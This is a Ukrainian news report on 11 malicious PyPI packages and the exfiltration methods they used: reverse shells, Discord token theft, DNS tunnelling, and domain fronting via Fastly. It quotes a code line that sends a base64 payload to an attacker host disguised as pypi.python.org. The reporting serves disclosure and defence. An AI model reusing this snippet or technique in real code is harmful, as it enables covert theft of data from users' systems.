У каталозі PyPI виявлено шкідливі бібліотеки, які використовують CDN PyPI для приховання каналу зв'язку

У каталозі PyPI (Python Package Index) виявлено 11 пакетів, які включають шкідливий код. До виявлення проблем у сумі пакети встигли завантажити близько 38 тисяч разів. Виявлені шкідливі пакети примітні застосуванням хитромудрих способів приховування каналів зв'язку з серверами зловмисників.

  • importantpackage (6305 завантажень), important-package (12897) - встановлювали з'єднання із зовнішнім сервером під виглядом підключення до pypi.python.org для надання shell-доступу до системи (reverse shell) і використовували для приховання каналу зв'язку програму trevorc2.
  • pptest (10001), ipboards (946) — використовували DNS як канал зв'язку передачі даних про систему (у першому пакеті ім'я хоста, робочий каталог, внутрішній і зовнішній IP, у другому — ім'я користувача і хоста).
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) - виявляли в системі токен сервісу Discord і відправляли на зовнішній хост.
  • trrfab (287) - відправляв на зовнішній хост ідентифікатор, ім'я хоста та вміст /etc/passwd, /etc/hosts, /home.
  • 10Cent10 (490) - встановлював зворотне shell-з'єднання із зовнішнім хостом.
  • yandex-yt (4183) - виводив повідомлення про компрометацію системи та перенаправляв на сторінку з додатковою інформацією про подальші дії, що видається через nda.ya.ru (api.ya.cc).

На окрему увагу заслуговує метод звернення до зовнішніх хостів, що використовується в пакетах importantpackage та important-package, які використовували для приховання своєї активності мережу доставки контенту Fastly, що застосовується в каталозі PyPI. Фактично запити відправлялися на сервер pypi.python.org (у тому числі, вказуючи ім'я python.org в SNI всередині запиту HTTPS), але при цьому в заголовку HTTP «Host» виставлялося ім'я сервера, підконтрольного атакуючим (sec.forward.io). global.prod.fastly.net). Мережа доставки контенту надсилала подібний запит на сервер атакуючих, використовуючи при передачі даних параметри TLS-з'єднання з pypi.python.org.

Робота інфраструктури PyPI забезпечується із залученням мережі доставки контенту Fastly, в якій для кешування типових запитів використовується прозорий проксі Varnish, а також застосовується обробка TLS-сертифікатів на рівні CDN, а не кінцевих серверів для організації прокидання HTTPS-запитів через проксі. Незалежно від цільового хоста запити надсилаються в проксі, який визначає потрібний хост за HTTP-заголовком «Host», а доменні імена хостів прив'язуються до типових для всіх клієнтів Fastly IP-адрес балансувальників навантаження CDN.

Сервер атакуючих також реєструється в CDN Fastly, який надає всім бажаючим безкоштовні тарифні плани та навіть допускає анонімну реєстрацію. Примітно, що для надсилання запитів жертві під час створення «reverse shell» використовується також схема, але з боку хоста зловмисників, що ініціюється. З боку взаємодія із сервером атакуючих виглядає як легітимний сеанс із каталогом PyPI, що шифрується з використанням TLS-сертифіката PyPI. Подібна техніка, відома під ім'ям «domain fronting», раніше активно використовувалася для приховання імені хоста при обході блокувань, використовуючи можливість, що надається в деяких CDN-мережах, можливість звернення по HTTPS із зазначенням у SNI фіктивного хоста і фактичною передачею імені хоста, що запитується в HTTP-заголовку усередині TLS-сеансу.

У каталозі PyPI виявлено шкідливі бібліотеки, які використовують CDN PyPI для приховання каналу зв'язку

Для приховання шкідливої ​​активності додатково застосовувався пакет TrevorC2, що дозволяє зробити взаємодію з сервером схожим на звичайну web-навігацію, наприклад, шкідливі запити надсилалися під виглядом завантаження зображення "https://pypi.python.org/images/guid=" з кодуванням інформації в параметр guid. url = "https://pypi.python.org" + "/images" + "?" + "guid =" + b64_payload r = request.Request (url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

У пакетах pptest та ipboards застосовувався інший підхід для приховування мережної активності, що базується на кодуванні корисної інформації в запитах до DNS-сервера. Шкідливе програмне забезпечення передає інформацію, виконуючи DNS-запити виду «nu4timjagq4fimbuhe.example.com», в яких за допомогою формату base64 в імені піддомена закодовані дані, що передаються на керуючий сервер. Зловмисник приймає дані повідомлення, контролюючи сервер DNS для домену example.com.

Джерело: opennet.ru

Додати коментар або відгук